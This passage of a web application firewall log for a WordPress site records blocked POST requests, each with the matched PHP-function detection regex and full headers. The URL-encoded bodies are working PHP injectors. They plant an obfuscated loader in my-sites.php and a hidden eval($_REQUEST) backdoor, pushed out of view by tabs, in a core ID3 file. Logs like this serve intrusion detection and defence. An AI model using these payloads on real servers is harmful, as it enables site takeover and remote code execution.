Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:3952\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-encoding:gzip,deflate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoJ0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\n\nmm=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/my-sites.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522va%255Cx6Cu%255Cx65%2522%255D%2529%2529%257B%2520%2524res%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522va%255Cx6Cu%255Cx65%2522%255D%2529%253B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524res%2529%2520as%2520%2524char%2529%257B%2524dat%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252021%2529%253B%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520for%2520%2528%2524flag%2520%253D%25200%252C%2520%2524mrk%2520%253D%2520count%2528%2524element%2529%253B%2520%2524flag%2520%253C%2520%2524mrk%253B%2520%2524flag%252B%252B%2529%2520%257B%2520%2524elem%2520%253D%2520%2524element%255B%2524flag%255D%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524elem%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524bind%2520%253D%2520sprintf%2528%2522%2525s\/.rec%2522%252C%2520%2524elem%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524bind%252C%2520%2524dat%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524bind%253B%2520unlink%2528%2524bind%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:50:33","103.143.207.18","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> sV:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ID3\/module.audio-video.matroska.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527bBebjb%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\ncontent-length:2052\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvp1LvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\n\nsV=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ID3\/module.audio-video.matroska.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527bBebjb%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:50:38","77.65.47.245","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Kd:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ID3\/module.audio-video.matroska.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527bBebjb%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:2052\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-encoding:gzip,deflate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?1\naccept:*\/*\nsec-ch-ua-platform:\"Android\"\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvF2DvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\n\nKd=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ID3\/module.audio-video.matroska.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527bBebjb%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:50:42","192.3.12.164","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Bf:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ID3\/module.audio-video.matroska.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527bBebjb%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:2052\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-encoding:gzip,deflate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?1\naccept:*\/*\nsec-ch-ua-platform:\"Android\"\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDzLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\n\nBf=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ID3\/module.audio-video.matroska.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527bBebjb%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:50:43","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Sw:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ID3\/module.audio-video.matroska.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527bBebjb%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nhost:dewenlabels.com\ncontent-length:2052\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvH3pvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\n\nSw=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ID3\/module.audio-video.matroska.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527bBebjb%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:50:45","51.38.81.255","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ig:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ID3\/module.audio-video.matroska.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527bBebjb%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-dest:document\ncontent-length:2052\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 